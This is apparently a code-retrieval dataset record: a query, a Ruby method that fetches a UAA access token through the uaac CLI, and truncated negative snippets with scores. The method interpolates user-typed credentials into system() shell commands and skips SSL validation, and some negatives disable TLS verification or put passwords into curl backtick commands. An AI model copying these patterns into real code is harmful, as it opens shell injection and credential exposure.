by complete_foreign_keys, but it has no Absorption\n @constellation.IndexField(access_path: fk1, ordinal: 0, component: fk1_target.component)\n\n if make_copy\n fk2 = @constellation.ForeignKey(\n :new,\n source_composite: link,\n composite: link_to\n )\n @constellation.ForeignKeyField(foreign_key: fk2, ordinal: 0, component: fk2_component)\n # This can't be filled in by complete_foreign_keys because it has no Absorption\n @constellation.IndexField(access_path: fk2, ordinal: 0, component: fk2_target.component)\n absorption.foreign_key.retract\n end\n inject_audit_fields link, link_from\n\n # split_satellites_from link, false\n @link_composites << link\n end\n end",
"def add_child_node_and_reparent_attrs(node); end",
"def add_child_node_and_reparent_attrs(node); end",
"def new\n @parent = if params[:parent_id] then\n Content.find(params[:parent_id])\n else\n nil\n end\n\n if @parent != nil && session[:child_id]\n respond_to do |format|\n format.html { redirect_to(:action => 'link', :id => @parent) }\n format.xml { render :xml => @content }\n end\n return\n end\n\n @content = Content.new\n #@content.folder_id = session[:folder_id]\n @content.disclosure_id = @parent.disclosure_id if @parent != nil\n @title = 'コンテンツ作成'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content }\n end\n end",
"def build_link_with_id_and_creation_date(id, creation_date)\n link = Link.new\n link.id = id\n link.created_at = creation_date\n\n link\n end",
"def hand_off_to!(other)\n verify_hand_off_to(other)\n\n other.normal_children.replace normal_children\n other.fallback_child = fallback_child\n @normal_children = []\n @fallback_child = nil\n if parent\n if normal?\n parent.normal_children.delete(self)\n parent.normal_children << other\n else\n parent.fallback_child = other\n end\n other.parent = parent\n @parent = nil\n end\n end",
"def circle_id=(id)\n rel = relationship\n if rel && (rel.circle.id != id.to_i)\n rel.circle = Circle.find(id)\n rel.save\n end\n end",
"def set_link\n @link = @campaign.links.find(params[:id])\n end",
"def link_to_add_child(page)\n url = new_admin_page_path parent_id: page.id\n raw link_to 'Add Child', url, class: 'button add-child'\n end",
"def create_digital_links\n raise \"Missing line_item id!\" unless persisted?\n raise \"Unpersisted line_item changes!\" if changes.present?\n raise \"Order not complete!\" unless order.complete?\n raise \"Digital links already present!\" if digital_links.present?\n\n #include master variant digitals\n master = variant.product.master\n if(master.digital?)\n create_digital_links_for_variant(master)\n end\n create_digital_links_for_variant(variant) unless variant.is_master\n end",
"def apply_response(content_entry, response)\n return if content_entry.nil? || response.nil?\n\n content_entry._id = response['_id']\n end",
"def create_permalink\n self.permalink = CGI.escape(self.name.gsub(' ', '_')) if self.name\n end",
"def hyperlink=(val)\n @hyperlink_rel ||= @parent.create_relationship(\"hyperlink\")\n @hyperlink_rel.target = val\n @hyperlink_rel.target_mode = \"External\"\n self.value = val if @value.nil?\n end",
"def set_fedora_parent_digital_object_pid_relationships\n # This method also ensures that we only save pids for Objects that actually exist. Invalid pids will cause it to fail.\n values = @parent_digital_object_pids.map { |object_pid| ActiveFedora::Base.find(object_pid).internal_uri }\n set_fedora_object_relationship(:cul_member_of, values)\n end",
"def addChildLink(parent, child)\n raise \"Brick node: #{parent} does not exist.\" unless @tree.has_key?(parent)\n @tree[parent]['children'].push(child)\n end",
"def find_new_parent\r\n #debate.arguments.find(dest_id)\r\n arg = Argument.find(dest_id)\r\n if !arg.draft?\r\n arg\r\n elsif arg.draft? && self.draft?\r\n arg\r\n else\r\n nil\r\n end\r\n rescue ActiveRecord::RecordNotFound \r\n nil\r\n end"
] |
[
"0.5394538",
"0.53615135",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.5252497",
"0.52043587",
"0.51849407",
"0.51461846",
"0.51452243",
"0.5120769",
"0.51141423",
"0.51141423",
"0.5099782",
"0.5092134",
"0.50647867",
"0.50647867",
"0.5042914",
"0.50113195",
"0.50069046",
"0.49931982",
"0.49785647",
"0.49439162",
"0.49384245",
"0.49350107",
"0.4912176",
"0.4907353",
"0.49073237",
"0.482934",
"0.4820187",
"0.48108733",
"0.47829446",
"0.47748432",
"0.47686538",
"0.47644678",
"0.47570312",
"0.47548103",
"0.4753702",
"0.4752124",
"0.47479275",
"0.4738283",
"0.47273314",
"0.47233808",
"0.4708112",
"0.47080535",
"0.46993557",
"0.46970996",
"0.4681437",
"0.46739107",
"0.46548355",
"0.464118",
"0.46396166",
"0.4638161",
"0.46372566",
"0.46349254",
"0.46168673",
"0.46118805",
"0.460357",
"0.46016166",
"0.46013984",
"0.45779333",
"0.4577526",
"0.45733565",
"0.4572986",
"0.4572986",
"0.45698312",
"0.45667338",
"0.45666495",
"0.45584884",
"0.45519587",
"0.45491958",
"0.4548484",
"0.45468172",
"0.45461613",
"0.4543632",
"0.45429933",
"0.45390436",
"0.45341527",
"0.45311975",
"0.4528911",
"0.4528911",
"0.45233306",
"0.4521676",
"0.4519827",
"0.45185193",
"0.45159885",
"0.45101577",
"0.45077893",
"0.45077786",
"0.4507685",
"0.45016128",
"0.4500151",
"0.44975907",
"0.44941577"
] |
0.59551823
|
0
|
This method is used to generate the token from UAA server by providing the UAA url and usename and password.
|
def get_access_token()
if @api_url[4] != "s"
temp = @api_url[10..@api_url.length]
@uaa_target = "https://uaa#{temp}"
else
temp=@api_url[11..@api_url.length]
@uaa_target = "https://uaa#{temp}"
end
Dir.chdir @home_directory
FileUtils.rm_rf(".uaac.yml")
system("uaac target #{@uaa_target} --skip-ssl-validation >> /dev/null")
print "Enter email:".yellow
@uaa_username = gets.chomp
print "Enter password:".yellow
@uaa_password = STDIN.noecho(&:gets).chomp
puts ""
command = system("uaac token get #{@uaa_username} #{@uaa_password}")
if command != true
puts ""
abort("Invalid Credentials.".red)
else
puts "Token generated Successfully.".green
end
Dir.chdir @home_directory
if Dir.glob(".uaac.yml") != '.uaac.yml'
filehandler = File.open('.uaac.yml','r')
for line in filehandler do
if line[6..17]=="access_token"
length_line = line.length
@access_token = line[20..length_line]
end
end
else
abort("Unable to get Token.".red)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_token\n return api_call('request-token',{\"apiKey\"=> @@_api_key });\n end",
"def create_sandbox_user\n body = { \"providerCallbackHost\": @host }\n @url = 'https://ericssonbasicapi2.azure-api.net/v1_0/apiuser'\n response = Faraday.post(@url) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['X-Reference-Id'] = @uuid\n req.headers['Ocp-Apim-Subscription-Key'] = @key\n req.body = body.to_json\n end\n\n unless response.status == 201\n raise Momoapi::Error.new(response.body, response.status)\n end\n\n generate_api_key\n end",
"def generate_utoken\n self.utoken = loop do\n random_token = SecureRandom.base58(UTOKEN_LENGTH)\n break random_token unless Session.exists?(utoken: random_token)\n end\n end",
"def api_token\n if @token.nil?\n raise ArgumentError, 'username is missing' if username.blank?\n raise ArgumentError, 'password is missing' if password.blank?\n response = connection.post do |req|\n req.url '/Authentication/V2.0'\n req.headers['x-dnb-user'] = username\n req.headers['x-dnb-pwd'] = password\n end\n @token = response.headers['Authorization']\n end\n @token\n end",
"def generate_token(_user)\n JsonWebToken.encode(login_payload, 3.days.from_now)\n end",
"def gettoken(url,username,password,tenant)\n url1 = \"#{url}/identity/api/tokens\"\n uri = URI.parse(url1)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.dump({\n \"username\" => username,\n \"password\" => password,\n \"tenant\" => tenant\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n token_output = response.body\n token_json = JSON.parse(token_output)\n vra_token = token_json[\"id\"]\n return vra_token\n end",
"def generate_token\n self.token = SecureRandom.urlsafe_base64\n end",
"def create_user_token(user_id, application_id, application_name)\n res = nil\n uri = URI(@url + \"auth/#{application_name}/login\")\n req = Net::HTTP::Post.new(uri)\n req['X-Vault-Token'] = @token\n application_data = { 'app_id' => application_id, 'user_id' => user_id }\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n req.body = application_data.to_json\n http.request(req)\n end\n [JSON.parse(res.body), res.code.to_i]\n end",
"def generate_access_token\n token_string = \"#{@username}:#{@password}\"\n return Base64.strict_encode64(token_string)\n end",
"def get_new_access_token\n now = Time.now\n params = {\n body: {\n grant_type: 'urn:ietf:params:oauth:grant-type:uma-ticket',\n ticket: retrieve_ticket,\n client_id: key_info['oxtrust_client_id'],\n client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',\n client_assertion: generate_json_web_token(now),\n scope: 'oxtrust-api-read oxtrust-api-write'\n }\n }\n req = HTTParty.post('https://localhost/oxauth/restv1/token', params)\n if req.code == 200\n token = req['access_token']\n save_access_token(token, now.to_i + 86_400)\n token\n else\n Puppet.err(\n \"Gluu API HTTP #{req.code}: #{req['error_description']}\",\n )\n end\n end",
"def generate_authorization_token\n \t# create the token that contains the necessary elements to authorize the user\t\n \t# using a nested array because the alphabetical order must be maintained\n \ttoken = [['credentials', self.user.to_credential_string,], ['identity', self.user.to_identity_string], ['time', Time.now.to_i.to_s]]\n \tencoded_parms = token.collect {|pair| pair[1] = CGI.escape(pair[1]); pair.join('=')}.join('&')\n\n digest = Digest::SHA2.new\n digest.update(encoded_parms)\n\n hmac = HMAC::SHA256.new(self.options[:shared_secret])\n hmac.update(encoded_parms)\n\n # add the hashed digital signature to the end of the query parameters\n encoded_parms += \"&signature=#{hmac.hexdigest}\"\n end",
"def auth_token\n curtime = Time.now.utc.strftime '%Y%m%d%H' # yyyymmddhh. hh is 24 hour 0 padded\n token = \"#{@user}-#{@pass}-#{curtime}-#{@service_tag}\"\n puts \"----> Generated auth token: #{token}\"\n Digest::MD5.hexdigest(token).upcase\n end",
"def generate_url\n api_key = WavecellOtpAndSms.configuration.api_key\n sub_account = WavecellOtpAndSms.configuration.sub_account\n details = [uid, code]\n parameters = {\n uid: uid,\n code: code\n }\n query_string = parameters.to_a.map { |x| \"#{x[0]}=#{x[1]}\" }.join(\"&\")\n url = \"https://api.wavecell.com/otp/v1/#{sub_account}/#{uid}?code=#{code}\"\n HTTParty.get(url.to_str,\n :body => parameters.to_json,\n :headers => {\n \"Content-Type\" => \"application/json\",\n \"Authorization\" => \"Bearer #{api_key}\"\n })\n end",
"def generate_token\n SecureRandom.urlsafe_base64.tap do |token|\n logger.debug \"Generated token #{token}\"\n end\n end",
"def request_token\n username = @credentials['username']\n password = @credentials['password']\n # app_name = @credentials['app_name']\n app_name = @credentials['app_name']\n vendor_name = @credentials['vendor_name']\n bus_num = @credentials['bus_num']\n scope = @credentials['scope']\n\n payload_hash = {\n 'grant_type' => 'password',\n 'username' => username,\n 'password' => password,\n 'scope' => scope\n }\n\n # The user name for inContact's API takes the form\n # app_api_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\" + \":\" + \"#{bus_num}\"\n api_app_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\"\n\n puts \"Authorizing... \\n\"\n\n # Specify token URL.\n url = URI('https://api.incontact.com/InContactAuthorizationServer/Token')\n # url = URI('https://api-c71.nice-incontact.com/InContactAuthorizationServer/Token')\n\n # Create connection object\n connection = Net::HTTP.new(url.host, url.port)\n # At *work*:\n # connection = Net::HTTP.new(url.host, url.port, 'asqproxy.vzbi.com', 80)\n # For *Fiddler*\n # connection = Net::HTTP.new(url.host, url.port, '127.0.0.1', 8888)\n\n connection.use_ssl = true\n # Uncomment the following line to tell Ruby to ignore invalid security certs.\n # connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Create post object\n post = Net::HTTP::Post.new(url)\n\n # OAuth 2 token requests are usually the 'user' + 'pass' base64 encoded\n post.basic_auth(api_app_name, bus_num)\n\n # get the POST post _fileheaders\n # post['Content-Type'] = 'audio/flac'\n post['Content-Type'] = 'application/json; charset=UTF-8'\n post['Accept'] = 'application/json'\n # \"Accept-Encoding\" => \"gzip, deflate, sdch, br\",\n post['Accept-Encoding'] = 'none'\n post['Connection'] = 'keep-alive'\n\n # Prepare the HTTP message body to be posted with the request.\n # Convert the payload_hash hash to a json string.\n payload = payload_hash.to_json\n # It will be the message body (payload) of the HTTP post.\n post.body = payload\n\n # Make the HTTP post request and store the response.\n # The 'begin' & 'rescue' is an aborted attempt to put\n # error/exception handling around the http post\n # *begin*\n # *rescue* StandardError\n # *end*\n response = connection.request(post)\n\n # http_status_code = response.code.to_i\n http_status_code = response.code.strip\n if http_status_code.chr != '2'\n # Show me http status code\n puts \"/n http_status_code: #{http_status_code}\"\n end\n\n if response.is_a?(Net::HTTPSuccess)\n puts \"response is a Net::HTTPSuccess object\"\n # if response is OK then parese it to a Ruby data structure\n access_token_hash = JSON.parse(response.body)\n # access_token = access_token_hash['access_token']\n end\n\n access_token_hash\n end",
"def token_generate\n res = call('auth.token_generate')\n\n return unless res || res['token']\n\n res['token']\n end",
"def generate_authentication_token\n SecureRandom.hex(8)\n end",
"def generate_auth_token\n\t token = SecureRandom.hex\n\t #self.update_columns(token_key: token)\n\t token\n\t end",
"def generate_request_token\n\n #FIXME change IP == \"#{IP}mob/twitter/generate_access_token\"\n request_token = TwitterAccount.twitter_consumer.get_request_token(:oauth_callback => \"http://localhost:3000/mob/twitter/generate_access_token\"\n )\n\n url = request_token.authorize_url\n redirect_to(url)\n end",
"def make_token\r\n # From the restful-authentication plug-in\r\n args = [ Time.now, (1..10).map{ rand.to_s } ]\r\n Digest::SHA1.hexdigest(args.flatten.join('--'))\r\n end",
"def create_user_token(params)\n key = Time.now.strftime(\"%Y-%m-%d %H:%M:%S:\") + '%012d' % rand(10_000_000_000)\n { :user_token => { :username => params[:username],\n :key => key,\n :hash => Digest::SHA1.hexdigest(params[:password] + key) } }\n end",
"def generate_token\n\t\tself.token = SecureRandom.hex\n end",
"def generate_remote_token!\n remote_tokens.create.token\n end",
"def create_request_token(params={})\n RequestToken.create :client_application => self, :callback_url=>self.token_callback_url\n end",
"def setup_token\n token = SecureRandom.hex(16)\n @token = token\n token\n end",
"def generate_auth_token\n self.auth_token = SecureRandom.hex\n end",
"def generate_authentication_token\n self.auth_token = User.new_token\n\t\t\tself.auth_expires_at = Time.now + 240.hours\n\tend",
"def create_request_token(params={})\n\t\tRequestToken.create :client_application => self, :callback_url=>self.token_callback_url\n\tend",
"def generate_token\n self.token = SecureRandom.base64(64)\n end",
"def generate_token\n self.status = STATUS[:present]\n self.access_token = SecureRandom.urlsafe_base64(45, true)\n self.expires = Time.zone.now.to_i + TOKEN_LIFE\n self.login_time = Time.zone.now\n self.user_events.build(event_name: 'Login', event_time: Time.zone.now)\n save\n self.access_token\n end",
"def get_user_tokens(code)\n request = Typhoeus::Request.new(\n TOKEN_ENDPOINT,\n method: :post,\n body: {\n 'grant_type' => \"authorization_code\",\n 'client_id' => ID,\n 'client_secret' => SECRET,\n 'code' => code\n },\n headers: {\n 'Api-Key' => ID\n })\n request.run\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def generate_token\n token_hash = SecureRandom.hex\n token_hash.force_encoding('utf-8')\n access_tokens.create(token: token_hash, token_expire: Time.now + DEFAULT_TOKEN_EXPIRE)\n end",
"def generate_token\n @token = SecureRandom.base58(10)\n self.update(token: @token)\n end",
"def generate_token\n self.email_token = SecureRandom.hex(3)\n self.mobile_token = SecureRandom.hex(3)\n end",
"def generate_token\n self.token ||= Base64.urlsafe_encode64(SecureRandom.random_bytes(12))\n end",
"def generar_token_afip\n if config[:exportacion]\n contribuyente.wsfex_client.token\n else\n contribuyente.wsfe_client.token\n end\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_api_key\n @url = 'https://ericssonbasicapi2.azure-api.net/v1_0/apiuser/' +\n @uuid + '/apikey'\n response = Faraday.post(@url) do |req|\n req.headers['Ocp-Apim-Subscription-Key'] = @key\n end\n\n unless response.status == 201\n raise Momoapi::Error.new(response.body, response.status)\n end\n\n key = JSON.parse(response.body)\n puts \"\\n User ID: #{@uuid} \\n API key: #{key['apiKey']} \\n\\n\"\n end",
"def generate_access_token\n self.access_token = SecureRandom.hex(64)\n end",
"def create_token_for(app_name)\n timestamp = Time.now.utc.strftime(\"%Y%m%d%H%M%S\")\n display = \"#{app_name}_#{timestamp}\"\n Vault.auth_token.create(name: app_name,\n ttl: '720h',\n display_name: display,\n policies: [app_name])\n end",
"def grab_token(username, password)\n cmd = `curl -X POST -H \"Content-Type: application/json\" -d '{\"email\":\"#{username}\",\"password\":\"#{password}\"}' #{ENV[\"FDA_REST_ENDPOINT\"]}/login --insecure -s`\n return cmd\n end",
"def gen_tokens\n self.access_token = SecureRandom.hex(16)\n end",
"def generate_token_with_http_info(grant_type, username, password, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuthenticationApi.generate_token ...'\n end\n # verify the required parameter 'grant_type' is set\n if @api_client.config.client_side_validation && grant_type.nil?\n fail ArgumentError, \"Missing the required parameter 'grant_type' when calling AuthenticationApi.generate_token\"\n end\n # verify the required parameter 'username' is set\n if @api_client.config.client_side_validation && username.nil?\n fail ArgumentError, \"Missing the required parameter 'username' when calling AuthenticationApi.generate_token\"\n end\n # verify the required parameter 'password' is set\n if @api_client.config.client_side_validation && password.nil?\n fail ArgumentError, \"Missing the required parameter 'password' when calling AuthenticationApi.generate_token\"\n end\n # resource path\n local_var_path = '/1.0.0/auth/generatetoken'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n form_params['grant_type'] = grant_type\n form_params['username'] = username\n form_params['password'] = password\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20015')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthenticationApi#generate_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def generate_token\n self.apply_code = \"#{SecureRandom.hex(4)}\"\n self.act_status_type_id = 2\n end",
"def generate_token\n SecureRandom.hex(10)\n end",
"def token\n @token ||= Rails.cache.fetch('osu_api_token', expires_in: 23.hours) do\n logger.debug(\"Fetching new OAuth2 Token from OSU API : #{@url}\")\n json = post(url_encoded_connection,\n ENV.fetch(OSU_API_OAUTH2_TOKEN),\n client_id: @key,\n client_secret: @secret,\n grant_type: 'client_credentials')\n json['access_token']\n end\n end",
"def new_token\n \t SecureRandom.urlsafe_base64\n \tend",
"def generate_secure_token_string\n SecureRandom.urlsafe_base64(25).tr('lIO0', 'sxyz')\n end",
"def create_user_token(username, password)\n body = {\n grant_type: 'password',\n username: username,\n password: password\n }\n @client.post('/auth/oauth2/token', body, {}, {'Content-Type' => 'application/x-www-form-urlencoded'})\n end",
"def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def generate_single_access_token\n self.single_access_token ||= UUIDTools::UUID.random_create\n end",
"def aquire_token\n token_data = server.call(\"acquire_token\", @config['account_code'], @config['password'], @config['provider_key'])\n status = token_data[0]\n @token = token_data[1]\n if (is_error(status)) \n error_message = decode_error(status)\n raise \"Unable to aquire token. Reason: #{error_message}\"\n end\n @token\n end",
"def token\n uri = URI.parse('https://anypoint.mulesoft.com/accounts/login')\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = true\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = URI.encode_www_form({\n \"username\" => @username,\n \"password\" => @password\n })\n\n response = client.request(request)\n access_token = JSON.parse(response.body)['access_token']\n @logger.info('Access token: ' + access_token)\n return access_token\n end",
"def generate_token\n begin\n token = Other::TokenGenerator.call(25).value_or('')\n end until !User.where(token: token).nil?\n self.bf_api_token = token\n end",
"def generate_access_token\n @user = current_user\n begin \n request_token = OAuth::RequestToken.new(TwitterAccount.twitter_consumer,\n params[\"oauth_token\"], params[\"oauth_verifier\"])\n if @user.twitter_account\n @user.twitter_account.delete\n end\n t_account = @user.create_twitter_account(request_token)\n\n unless t_account.new_record?\n flash[:notice] = 'You are now connected to twitter $green'\n l = Log.new\n l.user_id_1 = @user.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n l.message = \"#{name_1.humanize} is now connected to twitter account\"\n l.loggingtype = 0\n l.save\n\n else \n flash[:notice] = 'Couldn\\'t connect to twitter $red'\n end \n redirect_to controller: 'users', action: 'connect_social_accounts'\n\n rescue \n flash[:notice] = 'Couldn\\'t connect to twitter $red'\n redirect_to controller: 'users', action: 'connect_social_accounts'\n end \n end",
"def generate_token\n self.token = UniqueToken.generate\n end",
"def generate_credentials\n self.username = SecureRandom.alphanumeric(12)\n self.password = SecureRandom.urlsafe_base64(12)\n end",
"def generate_token(user)\n payload = {user_id: user.id}\n JWT.encode(payload, ENV[\"SEC_KEY\"] , 'HS256')\n end",
"def create_auth_token(key)\n\t\tself.auth_token = Digest::SHA1.hexdigest(\"#{random_string}--#{Time.now}---#{key}\")\n\tend",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def call(host:, port:, user:)\n @generator.auth_token(region: @region, endpoint: \"#{host}:#{port}\", user_name: user)\n end",
"def generate_token\n self.token = Digest::MD5.hexdigest(\"PersonRecordToken#{email}#{Rails.application.config.try(:hash_salt)}\")[0..254]\n end",
"def token\n validate_arguments!\n\n display Turbot::Auth.api_key\n end",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def get_access_token\n uri = URI.parse(@token_url)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.request_uri)\n auth = Base64.encode64(@login + ':' + @password).gsub(\"\\n\", \"\")\n req['Authorization'] = \"Basic #{auth}\"\n send = 'grant_type=client_credentials'\n req.body = send\n res = http.request(req)\n if res.code == \"200\"\n data = res.body\n result = JSON.parse(data)\n @access_token = result['access_token']\n else\n puts \"Invalid getting access token\"\n exit\n end\n end",
"def request_token(params)\n header = {}\n\n if @endpoint_auth == :basic\n header = { authorization: 'Basic ' + Base64.encode64(\"#{@client_id}:#{@client_secret}\") }\n else\n params[:client_id] = @client_id\n params[:client_secret] = @client_secret\n end\n\n request = Net::HTTP::Post.new(@token_endpoint, header)\n request.form_data = params\n Net::HTTP.start(@host.hostname, @host.port, use_ssl: true) { |http| http.request(request) }\n end",
"def generate_token\n self.update({:token => SecureRandom.hex})\n end",
"def access_token\n PocketApi::Connection.client_key = API_KEY\n auth_url = PocketApi::Connection.generate_authorize_url('https://suraj.dev')\n puts \"Open #{auth_url} in browser and allow application\"\n puts 'press any key once done..'\n STDIN.getch\n token = PocketApi::Connection.generate_access_token\n ap \"access_token: #{token}\"\n return token\n end",
"def create_secret_token\n time = Time.now\n salt = rand(2048)\n random_string = \"#{url}#{time}#{salt}\"\n random_token = Digest::SHA256.hexdigest(random_string)\n secret_token = Base64.urlsafe_encode64(random_token.to_s)\n\n self.secret_token = secret_token\n end",
"def login()\n uri = URI('http://54.252.241.122:8000/users/authenticate')\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {email: 'demo1@g.com', password: '*********'}.to_json\n res = http.request(req)\n tkn=JSON.parse(res.body)\n return tkn['result']['token']\nend",
"def nuevo_token # Igual - Modo ExtraConfuso\n\t\t\tSecureRandom.urlsafe_base64\n\t\tend",
"def request_token\n url = \"#{root_url}/oauth/authenticate\"\n body = {\n username: IdentityConfig.store.usps_ipp_username,\n password: IdentityConfig.store.usps_ipp_password,\n grant_type: 'implicit',\n response_type: 'token',\n client_id: IdentityConfig.store.usps_ipp_client_id,\n scope: 'ivs.ippaas.apis',\n }\n\n faraday.post(url, body) do |req|\n req.options.context = { service_name: 'usps_token' }\n end.body\n end",
"def generate_token(grant_type, username, password, opts = {})\n data, _status_code, _headers = generate_token_with_http_info(grant_type, username, password, opts)\n data\n end",
"def acquire_token\n token_acquire_url = TOKEN_ACQUIRE_URL.dup\n token_acquire_url['{authentication_endpoint}'] = @settings.authentication_endpoint\n token_acquire_url['{tenant_id}'] = @tenant_id\n\n url = URI.parse(token_acquire_url)\n\n connection = Faraday.new(:url => url, :ssl => MsRest.ssl_options) do |builder|\n builder.adapter Faraday.default_adapter\n end\n\n request_body = REQUEST_BODY_PATTERN.dup\n request_body['{resource_uri}'] = ERB::Util.url_encode(@settings.token_audience)\n request_body['{client_id}'] = ERB::Util.url_encode(@client_id)\n request_body['{username}'] = ERB::Util.url_encode(@username)\n request_body['{password}'] = ERB::Util.url_encode(@password)\n\n response = connection.get do |request|\n request.headers['content-type'] = 'application/x-www-form-urlencoded'\n request.body = request_body\n end\n\n fail AzureOperationError,\n 'Couldn\\'t login to Azure, please verify your tenant id, client id and username/password' unless response.status == 200\n\n response_body = JSON.load(response.body)\n @token = response_body['access_token']\n @token_expires_on = Time.at(Integer(response_body['expires_on']))\n @token_type = response_body['token_type']\n end",
"def obtain_token\n headers = {\n 'Authorization' => \"Basic #{@api_key}\",\n 'Content-Type' => 'application/x-www-form-urlencoded'\n }\n\n response = Basiq::Request.new('token').post(headers: headers)\n\n return nil if response.nil?\n\n parse_token(response.body)\n end",
"def generate_token\n @raw_token = Doorkeeper::OAuth::Helpers::UniqueToken.generate\n secret_strategy.store_secret(self, :token, @raw_token)\n end",
"def generate_token\n SecureRandom.hex(64)\nend",
"def make_auth_token\n Carto::Common::EncryptionService.make_token(length: 64)\n end",
"def generate_auth_token\n token = AuthToken.new(user: self)\n token if token.save\n end",
"def api_token\n client.get(\"/user/api_token\").fetch(\"result\")\n end",
"def token_generator(user_id, user_ip)\n return unless user_id\n\n user = User.find(user_id)\n\n access_token = user.tokens.create(token: token_creator, request_ip: user_ip)\n JsonWebToken.encode(\n token: access_token.token,\n request_ip: access_token.request_ip\n )\n end",
"def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end",
"def getToken(email,password)\n path = '/api/login'\n data = \"email=#{@email}&password=#{ERB::Util.url_encode(password)}\" \n payload = Base64.encode64(data)\n #puts payload \n\n response, token = agent.post(path,payload) \n\n unless response.code.to_i == 200\n raise \"Failed to fetch token for #{email}\"\n end\n token.strip.to_s\n end",
"def create_token(user_id, dev_id)\n token = SecureRandom.base64(384)\n DB[:Token].where(UserID: user_id).where(DeviceID: dev_id)\n .update(Token: token, Timestamp: Time.now.to_i + 600)\n token\n end",
"def retrieve_auth_token\n http = Net::HTTP.new(auth_endpoint.host, auth_endpoint.port)\n\n request = Net::HTTP::Post.new(auth_endpoint.request_uri)\n\n request.basic_auth(\n TodoableApi.configuration.username,\n TodoableApi.configuration.password\n )\n\n handle_auth_response(http.request(request))\n end",
"def generate_token\n self.token = loop do\n random_token = SecureRandom.base58(UID_LENGTH)\n break random_token unless Session.exists?(token: random_token)\n end\n end",
"def generate_security_token\n self.security_token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{email}--#{salt}--\")\n end",
"def generate_token!\n new_token = User.unique_random(field_name: 'api_token')\n update_column(:api_token, new_token)\n end",
"def generate_token user_agent\n @browser_token_db.add user_agent\n end",
"def new_token\n \t\tSecureRandom.urlsafe_base64\n \tend",
"def get_otp_url_and_token url, body = {}\n # We need to use the &block in order to not raise exception of the 428 required for the 2FA\n response = RestClient.post(url, body.to_json, headers(@token)){|response, request, result| response }\n parsed_response = JSON.parse(response)\n if parsed_response[\"result\"][\"code\"] == 428\n data = parsed_response[\"data\"]\n [\"#{data[\"otp_url\"]}?ticket=#{data[\"ticket\"]}&back_url=#{Settings.bbva.otp_back_url}\", data[\"token\"]]\n else\n raise Bbva::Api::Market::Error::BbvaTypeException.new(\"#{parsed_response[\"result\"][\"code\"]}\")\n end\n end",
"def generate_token\n self.token = Digest::SHA1.hexdigest([self.workplace_id, self.institute.id, Time.now, rand].join)\n end",
"def generate_unique_secure_token\n return unless user_id\n\n unless ENV['JWT_HMAC_SECRET'].present?\n raise 'JWT_HMAC_SECRET is missing in env' unless Rails.env.test?\n end\n\n self.token ||= ::JWT.encode(\n {\n user: {\n id: user_id,\n created_at: Time.now.utc.iso8601(3)\n }\n },\n ENV['JWT_HMAC_SECRET'],\n 'HS256'\n )\n end",
"def generate_token\n self.token = secure_digest(Time.now, candidate_id)\n end",
"def build_request(identity, next_service, username, hostname, client_username); end"
] |
[
"0.6511591",
"0.6506689",
"0.6370539",
"0.6330441",
"0.6314617",
"0.6314173",
"0.6268256",
"0.6267854",
"0.6247867",
"0.62304616",
"0.62201935",
"0.62063366",
"0.6200999",
"0.6170968",
"0.613957",
